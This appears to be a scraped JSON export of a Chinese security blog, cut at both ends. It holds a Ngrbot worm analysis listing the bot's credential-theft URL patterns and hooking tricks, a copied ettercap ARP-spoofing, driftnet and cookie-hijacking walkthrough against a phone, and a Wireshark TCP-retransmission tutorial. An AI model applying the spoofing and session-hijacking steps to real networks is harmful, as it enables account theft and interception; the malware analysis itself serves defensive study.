\u0026ldquo;log\u0026rdquo;\n\u0026ldquo;pas\u0026rdquo;\n\u0026ldquo;Torrentleech\u0026rdquo;\n\u0026ldquo;*torrentleech.org/*login*\u0026rdquo;\n\u0026ldquo;*password=*\u0026rdquo;\n\u0026ldquo;username\u0026rdquo;\n\u0026ldquo;password\u0026rdquo;\n\u0026ldquo;Thepiratebay\u0026rdquo;\n\u0026ldquo;*thepiratebay.org/login*\u0026rdquo;\n\u0026ldquo;*password=*\u0026rdquo;\n\u0026ldquo;username\u0026rdquo;\n\u0026ldquo;password\u0026rdquo;\n\u0026ldquo;Netflix\u0026rdquo;\n\u0026ldquo;*netflix.com/*ogin*\u0026rdquo;\n\u0026ldquo;*password=*\u0026rdquo;\n\u0026ldquo;email\u0026rdquo;\n\u0026ldquo;password\u0026rdquo;\n\u0026ldquo;Alertpay\u0026rdquo;\n\u0026ldquo;*alertpay.com/login*\u0026rdquo;\n\u0026ldquo;*Password=*\u0026rdquo;\n\u0026ldquo;EmailName\u0026rdquo;\n\u0026ldquo;Password\u0026rdquo;\n\u0026ldquo;Godaddy\u0026rdquo;\n\u0026ldquo;*godaddy.com/login*\u0026rdquo;\n\u0026ldquo;*password=*\u0026rdquo;\n\u0026ldquo;loginname\u0026rdquo;\n\u0026ldquo;password\u0026rdquo;\n\u0026ldquo;Namecheap\u0026rdquo;\n\u0026ldquo;*namecheap.com/*login*\u0026rdquo;\n\u0026ldquo;*LoginPassword=*\u0026rdquo;\n\u0026ldquo;LoginUserName\u0026rdquo;\n\u0026ldquo;LoginPassword\u0026rdquo;\n\u0026ldquo;Moniker\u0026rdquo;\n\u0026ldquo;*moniker.com/*Login*\u0026rdquo;\n\u0026ldquo;*passwd=*\u0026rdquo;\n\u0026ldquo;token\u0026rdquo;\n\u0026ldquo;passwd\u0026rdquo;\n\u0026ldquo;1and1\u0026rdquo;\n\u0026ldquo;*1and1.com/xml/config*\u0026rdquo;\n\u0026ldquo;*login.Pass=*\u0026rdquo;\n\u0026ldquo;login.User\u0026rdquo;\n\u0026ldquo;login.Pass\u0026rdquo;\n\u0026ldquo;Enom\u0026rdquo;\n\u0026ldquo;*enom.com/login*\u0026rdquo;\n\u0026ldquo;*password=*\u0026rdquo;\n\u0026ldquo;loginid\u0026rdquo;\n\u0026ldquo;password\u0026rdquo;\n\u0026ldquo;Dotster\u0026rdquo;\n\u0026ldquo;*dotster.com/*login*\u0026rdquo;\n\u0026ldquo;*pass=*\u0026rdquo;\n\u0026ldquo;login\u0026rdquo;\n\u0026ldquo;pass\u0026rdquo;\n\u0026ldquo;Webnames\u0026rdquo;\n\u0026ldquo;*webnames.ru/*user_login*\u0026rdquo;\n\u0026ldquo;*password=*\u0026rdquo;\n\u0026ldquo;login\u0026rdquo;\n\u0026ldquo;password\u0026rdquo;\n\u0026ldquo;cPanel\u0026rdquo;\n\u0026ldquo;*:2082/login*\u0026rdquo;\n\u0026ldquo;*pass=*\u0026rdquo;\n\u0026ldquo;user\u0026rdquo;\n\u0026ldquo;pass\u0026rdquo;\n\u0026ldquo;cPanel\u0026rdquo;\n\u0026ldquo;*:2083/login*\u0026rdquo;\n\u0026ldquo;*pass=*\u0026rdquo;\n\u0026ldquo;user\u0026rdquo;\n\u0026ldquo;pass\u0026rdquo;\n\u0026ldquo;WHM\u0026rdquo;\n\u0026ldquo;*:2086/login*\u0026rdquo;\n\u0026ldquo;*pass=*\u0026rdquo;\n\u0026ldquo;user\u0026rdquo;\n\u0026ldquo;pass\u0026rdquo;\n\u0026ldquo;WHCMS\u0026rdquo;\n\u0026ldquo;*whcms*dologin*\u0026rdquo;\n\u0026ldquo;*password=*\u0026rdquo;\n\u0026ldquo;username\u0026rdquo;\n\u0026ldquo;password\u0026rdquo;\n\u0026ldquo;Directadmin\u0026rdquo;\n\u0026ldquo;*:2222/CMD_LOGIN*\u0026rdquo;\n\u0026ldquo;*password=*\u0026rdquo;\n\u0026ldquo;username\u0026rdquo;\n\u0026ldquo;password\u0026rdquo;\n\u0026ldquo;Bcointernacional\u0026rdquo;\n\u0026ldquo;*bcointernacional*login*\u0026rdquo;\n\u0026ldquo;*clave=*\u0026rdquo;\n\u0026ldquo;numeroTarjeta\u0026rdquo;\n\u0026ldquo;clave\u0026rdquo;\n\u0026ldquo;Brazzers\u0026rdquo;\n\u0026ldquo;*members.brazzers.com*\u0026rdquo;\n\u0026ldquo;*password=*\u0026rdquo;\n\u0026ldquo;username\u0026rdquo;\n\u0026ldquo;password\u0026rdquo;\n\u0026ldquo;YouPorn\u0026rdquo;\n\u0026ldquo;*youporn.*/login*\u0026rdquo;\n\u0026ldquo;*password=*\u0026rdquo;\n\u0026ldquo;username\u0026rdquo;\n\u0026ldquo;password\u0026rdquo;\n\u0026ldquo;IKnowThatGirl\u0026rdquo;\n\u0026ldquo;*members*.iknowthatgirl*/members*\u0026rdquo;\n\u0026ldquo;*password]=*\u0026rdquo;\n\u0026ldquo;login[username]\u0026rdquo;\n\u0026ldquo;login[password]\u0026rdquo;\n在解析过程中,本地并不直接对已加密的用户名和密码解密,而是发送到服务器处理,本地仅仅把字符替换为数字.\n图20:用户名和密码解析函数\n密码截取后,发送给远端的数据包格式:httplogin.网站域名 -\u0026raquo; 登陆页面 (用户名 : 密码)\nInternatWriteFile的过滤和HttpSendRequest实现一样.\n注册表劫持:\n该模块主要在木马的REG模块中完成,涉及到3个函数:RegCreateKeyExA, RegCreateKeyExW,\nNtEnumerateValueKey\n该模块的主要功能是保护木马写入的注册表启动项不被修改,提高生存几率.3个函数流程基本类似.\n图21:病毒注册表的自保护\n模块劫持:\n本功能涉及一个代理函数LdrLoadDll,该函数原型在NTDLL中,处于应用层最底层函数,可以过滤应用层所有模块的加载,除了那些以映射方式加载的不可过滤.主要功能是重新安装木马的钩子.\n文件劫持:\n该模块主要涉及9个函数:CreateFileA/W,CopyFileA/W,DeleteFileA/W,MoveFileA/W, NtQueryDirectoryFile\nCreateFileA/W,这一组函数主要是禁止用户在计算机上创建文件,用户创建的所有文件会在下次启动被删除,且会放过关键进程的创建和打开操作.\n图22:文件打开和创建的过滤\n木马同时对自己的备份文件进行保护\n图23:病毒文件自保护\nCopyFileA/W,系统所有的文件拷贝操作都会成功,但是新文件会被删除.\n图24:文件拷贝过滤\nDeleteFileA/W,保护备份文件\n图25:文件删除自保护\nMoveFileA/W\n图26:文件移动自保护\nNtQueryDirectoryFile主要是防止其他进程枚举到木马的备份文件\n图27:遍历文件自保护\n下载劫持:\n该模块涉及2个函数: URLDownloadToFileA/W,该模块并无实际功能,只是简单记录用户下载的http文件,而且只记录iexplorer以及firefox下载的文件:\n图28:记录用户的下载的文件\nMSN 劫持:\n该模块涉及1个函数send,主要任务是劫持msn,获取用户的密码以及聊天内容,并且通过msn传播bot.msn 2011版本及以上消息的标示串为”MSG”,低版本的为”SDG”.\n图29:MSN密码窃取\n用户身份窃取功能中,病毒解密IM协议来获取用户名和密码,成功获取到密码后,则会登陆用户的FTP空间以及邮箱进一步窃取资料.\n图30:登陆FTP以及POP3\nIM消息的前三个字符为”MSG”表示这是一个标准的IM聊天消息,截获到此类信息,则插入木马消息,发送给好友,相当于一个消息尾巴.\n图31:插入MSN消息尾巴\nBOT 命令的处理:\nBOT向服务器发送的命令共有12种,这些命令大部分属于窃取的隐私信息,所有这些命令通过PIPE命名管道与主进程通信,主进程与远程通信,其中http监控模块主要获取用户的下载和上传速度.\n图32:所有窃取的信息发送给黑客\n所有这些被感染用户下发命令,组成一个僵尸网络,服务器向这些僵尸发起命令,主要是洪水攻击,包含UDP,SYN,以及slowloris攻击.\n图33:洪水攻击\n参数”-shell” 该参数的功能是对蠕虫进行邦本升级,当参数为shell时,创建” Windows_Shared_Mutex_231_c000100”互斥体,若该互斥已存在,退出进程.删除Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run – Windows Update键,目的是为了删除该bot以前注册的自启动,达到更新bot的目的,注册表键名称很具有迷惑性.\n解锁注册表的自启动功能,因为该bot以后会注册自启动项目,为了能继续驻留在系统中,并且得以运行.\n图34:Ngrbot的版本更新\n随后立即重启系统,由于写入自启动不带任何参数,系统重启后,则会以无参模式运行,该模式下,已经有介绍.\n图35:强制重启系统\n","permalink":"https://www.lucien116.com/archives/153/","summary":"\u003ch1 id=\"1-基本信息\"\u003e1.   基本信息\u003c/h1\u003e\n\u003cp\u003e病毒别名： Worm.Win32.Ngrbot\u003c/p\u003e\n\u003cp\u003e病毒类型： 蠕虫\u003c/p\u003e\n\u003cp\u003e样本长度： 252.000 字节\n样本MD5：FA92DAE6F14F9B9DB1D263222FC65DFF\u003c/p\u003e\n\u003cp\u003e样本SHA1： A0BA2E072CA9BA7C3BDDC2F3BEF2FA09E15A716D\u003c/p\u003e\n\u003cp\u003e文件类型：PE_EXE\u003c/p\u003e\n\u003cp\u003e原始文件名： txgxltogztf.exe\u003c/p\u003e\n\u003cp\u003e感染系统：Windows All(x86)\u003c/p\u003e\n\u003ch1 id=\"2-样本概述\"\u003e2.   样本概述\u003c/h1\u003e\n\u003cp\u003e该蠕虫与木马Androm绑定在一起被下载到用户的计算机上,并能通过HTTP,FTP,MSN,email,U盘等手段进行传播,一旦用户感染此蠕虫,会立即窃取用户的密码及隐私信息,包括用户的电子银行,社交网站,邮箱密码,FTP密码和MSN好友信息等.同时该病毒监控用户下载的文件,搜集用户的上网习惯.被感染的用户组成一个庞大的僵尸网络用于对网络目标进行攻击.\u003c/p\u003e\n\u003ch1 id=\"3-详细分析\"\u003e3.   详细分析\u003c/h1\u003e\n\u003ch2 id=\"行为流程分析\"\u003e行为流程分析\u003c/h2\u003e\n\u003cp\u003e由于该病毒是通过androm下载到本地,所以执行流程,以及加密方式跟androm是一样的,区别在于资源”JPEG”中的恶意代码功能,入口处会创建一个辅助线程,该线程功能是初始化所需要的API及字符串,同时为了防止重入,创建命名互斥体” SSLOADasdasc000100”\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"image1\" loading=\"lazy\" src=\"/wp-content/uploads/2016/10/image1.jpeg\"\u003e\u003c/p\u003e\n\u003cp\u003e图1:API的初始化\u003c/p\u003e\n\u003cp\u003e随后生成随机的文件名称,文件名只包含数字以及字母,这些文件名是用来在calc中下载使用的,生成到临时文件中.\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"image2\" loading=\"lazy\" src=\"/wp-content/uploads/2016/10/image2.jpeg\"\u003e\u003c/p\u003e\n\u003cp\u003e图2:下载后保存的文件名\u003c/p\u003e\n\u003cp\u003e判断系统版本是否是64位程序,该病毒只能感染32位的程序,所以程序打开Syswow64或system32下的calc程序,写入恶意代码以及数据,之后该线程进入死循环\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"image3\" loading=\"lazy\" src=\"/wp-content/uploads/2016/10/image3.jpeg\"\u003e\u003c/p\u003e\n\u003cp\u003e图3:感染clac进程\u003c/p\u003e\n\u003cp\u003e在calc中,下载地址以及文件名加密后被蠕虫传送过来\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"image4\" loading=\"lazy\" src=\"/wp-content/uploads/2016/10/image4.jpeg\"\u003e\u003c/p\u003e\n\u003cp\u003e图4:要下载的文件地址,被加密\u003c/p\u003e\n\u003cp\u003e解密算法伪代码:\u003c/p\u003e\n\u003cp\u003eint i = 0;\u003c/p\u003e\n\u003cp\u003eint d = 0;\u003c/p\u003e\n\u003cp\u003efor(;(d = strBase[i]);++i)\u003c/p\u003e\n\u003cp\u003e{\u003c/p\u003e\n\u003cp\u003eif(d \u0026gt; 0x21 \u0026amp;\u0026amp; d \u0026lt; 0x4F)\u003c/p\u003e\n\u003cp\u003estrBase[i] =(d + 0x2F)%0x7F;\u003c/p\u003e\n\u003cp\u003eif(d \u0026gt; 0x50 \u0026amp;\u0026amp; d \u0026lt; 0x7E)\u003c/p\u003e\n\u003cp\u003estrBase[i] =(d - 0x2F)%0x7F;\u003c/p\u003e","title":"Ngrbot蠕虫分析（一）"},{"content":"\n攻击主机平台：kali-linux 被攻击主机：安卓手机192.168.1.107 （在同一局域网内）\n1.利用ettercap进行arp欺骗：\nroot权限下打开ettercap：ettercap -C （curses UI） ettercap -G （GTK+ GUI）\ncurses UI工作界面：\nGTK+ UI工作界面：\n这里以GTK+ UI为例，打开ettercap之后，选择Sniff\u0026mdash;-Unified-sniffing，然后选择网卡：\n然后Hosts\u0026mdash;Scan for hosts\u0026mdash;Hosts list，此时可以看到目标主机ip（192.168.1.107）\n选定目标主机，然后点add to target 1,将目标主机添加到目标1;选定路由，点add to target 2,将路由添加到目标2：\n如图，添加成功！\n然后点mitm \u0026mdash; arp posoning ，勾选sniff remote connections：\n之后start \u0026mdash; start sniffing开始监听～\n点view \u0026ndash; connections开始查看连接：\n双击链接查看详细信息：\n截获到目标主机登录路由器的明文密码：\n163邮箱帐号密码：\n2.利用 ettercap+driftnet 截获目标主机的图片数据流\n打开一个终端窗，root权限执行：\nettercap -i wlan0 -Tq -M arp:remote /192.168.1.107/ /192.168.1.1/ #对目标主机进行arp欺骗\n新建一个终端窗口，执行：\ndriftnet -i wlan0 #监听wlan0\n效果图：（备用手机像素太烂，大家见谅）\n被攻击主机界面：\n此时攻击主机截取图片流界面：\n3.利用cookie劫持，登入被攻击者的网络账户\n浏览器浏览网页时都会产生cookie，既然被攻击用户的网络数据是被我们监控的，那么我们可不可以通过这些监控到的数据做些事情呢？\n首先给浏览器安装好cookie注入插件：\nchrome：安装Cookie利用神器：CookieHacker\n下载安装文件或源码，地址： https://github.com/evilcos/cookiehacker，可以选择下咋源码或该插件作者打包好的扩展文件（后缀是crx），然后打开chrome://extensions/，点击“载入正在开发的扩展程序”，选择源码目录，安装后，点击“打包扩展程序”，提示自己打包即可，打包后的crx就可以安装了，或者直接将下载的crx文件拖入该页面安装。安装之后记得给此插件创建一个快捷键，右下角设置，一般是alt+c，当然可以自己另选；\nfirefox：安装Scripish+Original Cookie Injector，构建一个可以在特定网页中嵌入cookies的工具：\nScripish脚本引擎下载地址：https://addons.mozilla.org/zh-CN/firefox/addon/scriptish/Original Cookie Injector脚本安装地址：http://userscripts.org/scripts/show/119798\n接下来就打开截获到的数据：\n把网址复制到浏览器打开，然后复制“Cookie：” 字段之后的cookie文件，打开浏览器的cookie注入工具，复制进去，确定，然后刷新网页：\n刷新网页之后：\n有些网站可能安全权限比较高，即使cookie注入虽然可以登录网络账户，但是无法修改信息，比如qq空间，昵图网等；但是有些网站就非常坑跌，虽然无法cookie注入登录网络账户，但是密码竟然可以被直接截获明文！比如昵图网：\n原文地址：http://xiao106347.blog.163.com/blog/static/215992078201352055231824/\n","permalink":"https://www.lucien116.com/archives/151/","summary":"\u003cp\u003e\u003cimg alt=\"记录利用ettercap进行简单的arp欺骗和mitm攻击过程 - xiao106347 - Linux 折腾笔记\" loading=\"lazy\" src=\"http://img0.ph.126.net/Rh9Kvu2Y0pYzFydTk2mx9A==/6608759774282748138.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e攻击主机平台：kali-linux        被攻击主机：安卓手机192.168.1.107    （在同一局域网内）\u003c/p\u003e\n\u003cp\u003e1.利用ettercap进行arp欺骗：\u003c/p\u003e\n\u003cp\u003eroot权限下打开ettercap：ettercap -C （curses UI）             ettercap -G （GTK+ GUI）\u003c/p\u003e\n\u003cp\u003ecurses UI工作界面：\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"记录利用ettercap进行简单的arp欺骗和mitm攻击过程 - xiao106347 - 学习笔记\" loading=\"lazy\" src=\"http://img0.ph.126.net/h7JVq8Q-e056X9ppsnWDCQ==/893401576179818607.png\"\u003e\u003c/p\u003e\n\u003cp\u003eGTK+ UI工作界面：\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"记录利用ettercap进行简单的arp欺骗和mitm攻击过程 - xiao106347 - 学习笔记\" loading=\"lazy\" src=\"http://img1.ph.126.net/wgtOqseaFPQI0KKkBqNWOg==/4785919029111342655.png\"\u003e\u003c/p\u003e\n\u003cp\u003e这里以GTK+ UI为例，打开ettercap之后，选择Sniff\u0026mdash;-Unified-sniffing，然后选择网卡：\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"记录利用ettercap进行简单的arp欺骗和mitm攻击过程 - xiao106347 - 学习笔记\" loading=\"lazy\" src=\"http://img2.ph.126.net/4jmnTYqGNJd2D51BX9O1Gg==/3331256349470750153.png\"\u003e\u003c/p\u003e\n\u003cp\u003e然后Hosts\u0026mdash;Scan for hosts\u0026mdash;Hosts list，此时可以看到目标主机ip（192.168.1.107）\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"记录利用ettercap进行简单的arp欺骗和mitm攻击过程 - xiao106347 - 学习笔记\" loading=\"lazy\" src=\"http://img1.ph.126.net/wgtOqseaFPQI0KKkBqNWOg==/4785919029111342655.png\"\u003e\u003c/p\u003e\n\u003cp\u003e选定目标主机，然后点add to target 1,将目标主机添加到目标1;选定路由，点add to target 2,将路由添加到目标2：\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"记录利用ettercap进行简单的arp欺骗和mitm攻击过程 - xiao106347 - 学习笔记\" loading=\"lazy\" src=\"http://img2.ph.126.net/l6bSwXRjVzGE_1mjknbExw==/6597760259960325566.png\"\u003e\u003c/p\u003e\n\u003cp\u003e如图，添加成功！\u003c/p\u003e\n\u003cp\u003e然后点mitm \u0026mdash; arp posoning ，勾选sniff remote connections：\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"记录利用ettercap进行简单的arp欺骗和mitm攻击过程 - xiao106347 - 学习笔记\" loading=\"lazy\" src=\"http://img2.ph.126.net/zIK9PXUyC1lYVFYOSu8g-Q==/3385581019975907180.png\"\u003e\u003c/p\u003e","title":"记录利用ettercap进行简单的arp欺骗和mitm攻击过程"},{"content":"作为网络管理员，很多时间必然会耗费在修复慢速服务器和其他终端。但用户感到网络运行缓慢并不意味着就是网络问题。\n解决网络性能问题，首先从TCP错误恢复功能（TCP重传与重复ACK）和流控功能说起。之后阐述如何发现网络慢速之源。最后，对网络各组成部分上的数据流进行概况分析。这几张内容将会帮助读者识别，诊断，以及排查慢速网络。\n更多信息 接下来的内容，较多是黑白图片了。虽然看起来有点不爽，但还是很值得一看。\nTCP错误恢复功能：\nTCP的错误恢复功能是定位，诊断及修复网络延时的最佳工具。延时可以在单程也可以往返方向测量。高延时是网络管理员的头号大敌。本节我们讨论TCP高延时是如何导致序列号和确认号乱序的。\nTCP重传：\n主机报文重传是TCP最基本的错误恢复功能，它的目的是防止报文丢失。\n报文丢失的可能因素有很多种，包括应用故障，路由设备过载，或暂时的服务宕机。报文级别速度是很高的，而通常报文丢失是暂时的，因此TCP能够发现和恢复报文丢失显得尤为重要。\n决定报文是否有必要重传的主要机制是重传计时器（retransmission timer），它的主要功能是维护重传超时（RTO）值。当报文使用TCP传输时，重传计时器启动，收到ACK时计时器停止。报文发送至接收到ACK的时间称为往返时间（RTT）。对若干次时间取平均值，该值用于确定最终RTO值。在最终RTO值确定之前，确定每一次报文传输是否有丢包发生使用重传计时器，下图说明了TCP重传过程。\n当报文发送之后，但接收方尚未发送TCP ACK报文，发送方假设源报文丢失并将其重传。重传之后，RTO值加倍；如果在2倍RTO值到达之前还是没有收到ACK报文，就再次重传。如果仍然没有收到ACK，那么RTO值再次加倍。如此持续下去，每次重传RTO都翻倍，直到收到ACK报文或发送方达到配置的最大重传次数。\n最大重传次数取决于发送操作系统的配置值。默认情况下，Windows主机默认重传5次。大多数Linux系统默认最大15次。两种操作系统都可配置。 示例如下图：\nTCP重传过程发送的第一个报文如下图所示（图片不很清楚，已经尽力了）： 这是一个TCP PSH/ACK报文①，包含648字节数据②，从10.3.30.1发送至10.3.71.7。这是一个典型的数据报文。\n在通常情况下，第一个报文发送之后很快会收到TCP ACK报文。然而，在这个case里，第二个是重传报文。可以在Packet list面板里看到。Info栏清楚的标明“TCP Retransmission”，报文以黑色背景红色字体标出。下图是Packet List面板中的重传示例（仍然不清楚，但可参见上图）： 也可以在Packet Details和Packet Bytes面板中查看来确定是否是重传报文，如下图所示： 注意此报文与源报文相同（除了IP标识和checksum字段）。要验证这一点，比较两个报文的Packet Bytes①。\n在Packet Details面板，注意到重传报文在SEQ/ACK Analysis下面有些额外的信息②。这些信息是由Wireshark提供的而并非报文本身。SEQ/ACK Analysis告诉我们这确实是一个重传报文，RTO值是0.206秒，此时的RTO是基于报文1的时间增量。\n检查剩下的报文会得到类似的结果，不同之处只有IP标识和checksum，以及RTO值。要使报文之间的时间间隔形象化，在Packet List面板中查看Time栏，如下图所示。这里可以看到RTO值的翻倍增长关系。 TCP重复ACK以及快速重传：\n重复ACK是指在接收方收到乱序报文时，所发出的一类TCP报文。TCP使用报文头的序列号和确认号以有效保证数据按照发送的顺序接收和重组。\n当TCP连接建立以后，握手过程中交换的一个最重要的信息是初始序列号（ISN）。一旦连接双方设定了ISN之后，接下来发送的报文所包含的序列号增加一个数据载荷值。\n假设有个主机ISN是5000，发送500字节报文至接收方。一旦报文接收之后，接收端回复一个ACK号为5500的TCP ACK报文，基于以下公式：\nSequence Number In + Bytes of Data Received = Acknowledgment Number Out\n按照上述计算结果，返回发送端的确认编号实际上是接收端希望收到的序列号。示例如下图： 数据接收方通过序列号来检查报文丢失。接收方通过追踪接收到的序列号，能够确认序列号是否乱序。当接收方收到一个不正常的序列号，它会假设传输过程中有报文丢失。为了正确重传数据，接收方必须拥有丢失报文，所以它发送包含有丢失报文正确序列号的ACK报文，以便发送方重传此报文。\n当重传主机从发送端接收到3个重复ACK时，它会假设此报文确实在传送中丢失，并且立即发送一个快速重传。一旦触发了快速重传，所有正在传输的其他报文都被放入队列中，直到快速重传报文发送为止。过程如下图所示： 承接上文的彩图：\n本例中第一个报文如下图： 这是一个TCP ACK报文，从数据接收端（172.31.136.85）发给发送端（195.81.202.68）①，确认前一个报文所发送的数据。 此报文中的确认编号是1310973186②，应当是下一个接收报文的序列号，如下图所示：\n不幸的是接收端的序列号是1310984130①，并不是所期望的值。这意味着报文在传送中丢失。接收端注意到报文乱序，并且在第三个报文中发送重复ACK，如下图所示：\n可以通过以下两种方式之一来确认这是一个重复ACK：\n在Packet Detaisl面板中的Info栏。报文呈现黑色背景红色字体。\nSEQ/ACK Analysis下的Packet Deatails面板。扩展这一栏会发现报文显示为duplicate ACK。接下来几个报文重复此过程。如下图所示： 此文件中的第四个报文是发送端所发出具有错误序列号①的另一个数据块。因此，接收端发送第二个重复ACK②。接收端又收到一个乱序报文③。从而触发了第三以及最后一个重复ACK④.\n一旦发送方接收到接收方所发来的第三个重复ACK，它就会暂停所有传输报文并且重传丢失报文，下图显示了快速重传过程： 重传报文同样可以通过Packet List面板的Info栏观察到。报文呈现黑色背景红色字体。这个报文的SEQ/ACK Analysis截面告诉我们这可能是一个快速重传帧。（标识报文为快速重传的信息不是报文本身所包含的内容，而是Wireshark的功能）。最后一个报文是接收到快速重传的ACK。\n","permalink":"https://www.lucien116.com/archives/149/","summary":"\u003cp\u003e作为网络管理员，很多时间必然会耗费在修复慢速服务器和其他终端。但用户感到网络运行缓慢并不意味着就是网络问题。\u003c/p\u003e\n\u003cp\u003e解决网络性能问题，首先从TCP错误恢复功能（TCP重传与重复ACK）和流控功能说起。之后阐述如何发现网络慢速之源。最后，对网络各组成部分上的数据流进行概况分析。这几张内容将会帮助读者识别，诊断，以及排查慢速网络。\u003c/p\u003e\n\u003cp\u003e更多信息\n接下来的内容，较多是黑白图片了。虽然看起来有点不爽，但还是很值得一看。\u003c/p\u003e\n\u003cp\u003eTCP错误恢复功能：\u003c/p\u003e\n\u003cp\u003eTCP的错误恢复功能是定位，诊断及修复网络延时的最佳工具。延时可以在单程也可以往返方向测量。高延时是网络管理员的头号大敌。本节我们讨论TCP高延时是如何导致序列号和确认号乱序的。\u003c/p\u003e\n\u003cp\u003eTCP重传：\u003c/p\u003e\n\u003cp\u003e主机报文重传是TCP最基本的错误恢复功能，它的目的是防止报文丢失。\u003c/p\u003e\n\u003cp\u003e报文丢失的可能因素有很多种，包括应用故障，路由设备过载，或暂时的服务宕机。报文级别速度是很高的，而通常报文丢失是暂时的，因此TCP能够发现和恢复报文丢失显得尤为重要。\u003c/p\u003e\n\u003cp\u003e决定报文是否有必要重传的主要机制是重传计时器（retransmission timer），它的主要功能是维护重传超时（RTO）值。当报文使用TCP传输时，重传计时器启动，收到ACK时计时器停止。报文发送至接收到ACK的时间称为往返时间（RTT）。对若干次时间取平均值，该值用于确定最终RTO值。在最终RTO值确定之前，确定每一次报文传输是否有丢包发生使用重传计时器，下图说明了TCP重传过程。\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"http://ww3.sinaimg.cn/mw690/7cc829d3gw1ehh4x5m289j20f9097mxw.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e当报文发送之后，但接收方尚未发送TCP ACK报文，发送方假设源报文丢失并将其重传。重传之后，RTO值加倍；如果在2倍RTO值到达之前还是没有收到ACK报文，就再次重传。如果仍然没有收到ACK，那么RTO值再次加倍。如此持续下去，每次重传RTO都翻倍，直到收到ACK报文或发送方达到配置的最大重传次数。\u003c/p\u003e\n\u003cp\u003e最大重传次数取决于发送操作系统的配置值。默认情况下，Windows主机默认重传5次。大多数Linux系统默认最大15次。两种操作系统都可配置。\n示例如下图：\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"http://ww3.sinaimg.cn/large/7cc829d3gw1ehh4x6lx7ej20il0a4jtq.jpg\"\u003e\u003cimg loading=\"lazy\" src=\"http://ww3.sinaimg.cn/mw690/7cc829d3gw1ehh4x80g1oj20im0dj75u.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003eTCP重传过程发送的第一个报文如下图所示（图片不很清楚，已经尽力了）：\n\u003cimg loading=\"lazy\" src=\"http://ww4.sinaimg.cn/large/7cc829d3gw1ehh4x99hacj20i908d74s.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e这是一个TCP PSH/ACK报文①，包含648字节数据②，从10.3.30.1发送至10.3.71.7。这是一个典型的数据报文。\u003c/p\u003e\n\u003cp\u003e在通常情况下，第一个报文发送之后很快会收到TCP ACK报文。然而，在这个case里，第二个是重传报文。可以在Packet list面板里看到。Info栏清楚的标明“TCP Retransmission”，报文以黑色背景红色字体标出。下图是Packet List面板中的重传示例（仍然不清楚，但可参见上图）：\n\u003cimg loading=\"lazy\" src=\"http://ww2.sinaimg.cn/large/7cc829d3gw1ehh4xa9lyej20ih01s0sr.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e也可以在Packet Details和Packet Bytes面板中查看来确定是否是重传报文，如下图所示：\n\u003cimg loading=\"lazy\" src=\"http://ww4.sinaimg.cn/large/7cc829d3gw1ehh4xauzi4j20i509674x.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e注意此报文与源报文相同（除了IP标识和checksum字段）。要验证这一点，比较两个报文的Packet Bytes①。\u003c/p\u003e\n\u003cp\u003e在Packet Details面板，注意到重传报文在SEQ/ACK Analysis下面有些额外的信息②。这些信息是由Wireshark提供的而并非报文本身。SEQ/ACK Analysis告诉我们这确实是一个重传报文，RTO值是0.206秒，此时的RTO是基于报文1的时间增量。\u003c/p\u003e\n\u003cp\u003e检查剩下的报文会得到类似的结果，不同之处只有IP标识和checksum，以及RTO值。要使报文之间的时间间隔形象化，在Packet List面板中查看Time栏，如下图所示。这里可以看到RTO值的翻倍增长关系。\n\u003cimg loading=\"lazy\" src=\"http://ww2.sinaimg.cn/mw690/7cc829d3gw1ehh4xbao53j203q03dt8n.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003eTCP重复ACK以及快速重传：\u003c/p\u003e\n\u003cp\u003e重复ACK是指在接收方收到乱序报文时，所发出的一类TCP报文。TCP使用报文头的序列号和确认号以有效保证数据按照发送的顺序接收和重组。\u003c/p\u003e\n\u003cp\u003e当TCP连接建立以后，握手过程中交换的一个最重要的信息是初始序列号（ISN）。一旦连接双方设定了ISN之后，接下来发送的报文所包含的序列号增加一个数据载荷值。\u003c/p\u003e\n\u003cp\u003e假设有个主机ISN是5000，发送500字节报文至接收方。一旦报文接收之后，接收端回复一个ACK号为5500的TCP ACK报文，基于以下公式：\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eSequence Number In + Bytes of Data Received = Acknowledgment Number Out\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e按照上述计算结果，返回发送端的确认编号实际上是接收端希望收到的序列号。示例如下图：\n\u003cimg loading=\"lazy\" src=\"http://ww2.sinaimg.cn/mw690/7cc829d3gw1ehh4xbsfecj20f906vjs0.jpg\"\u003e\n数据接收方通过序列号来检查报文丢失。接收方通过追踪接收到的序列号，能够确认序列号是否乱序。当接收方收到一个不正常的序列号，它会假设传输过程中有报文丢失。为了正确重传数据，接收方必须拥有丢失报文，所以它发送包含有丢失报文正确序列号的ACK报文，以便发送方重传此报文。\u003c/p\u003e\n\u003cp\u003e当重传主机从发送端接收到3个重复ACK时，它会假设此报文确实在传送中丢失，并且立即发送一个快速重传。一旦触发了快速重传，所有正在传输的其他报文都被放入队列中，直到快速重传报文发送为止。过程如下图所示：\n\u003cimg loading=\"lazy\" src=\"http://ww1.sinaimg.cn/mw690/7cc829d3gw1ehh4xcglmij20f909j756.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e承接上文的彩图：\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"http://ww3.sinaimg.cn/large/7cc829d3gw1ehh4xd6zucj20im0bo0ub.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e本例中第一个报文如下图：\n\u003cimg loading=\"lazy\" 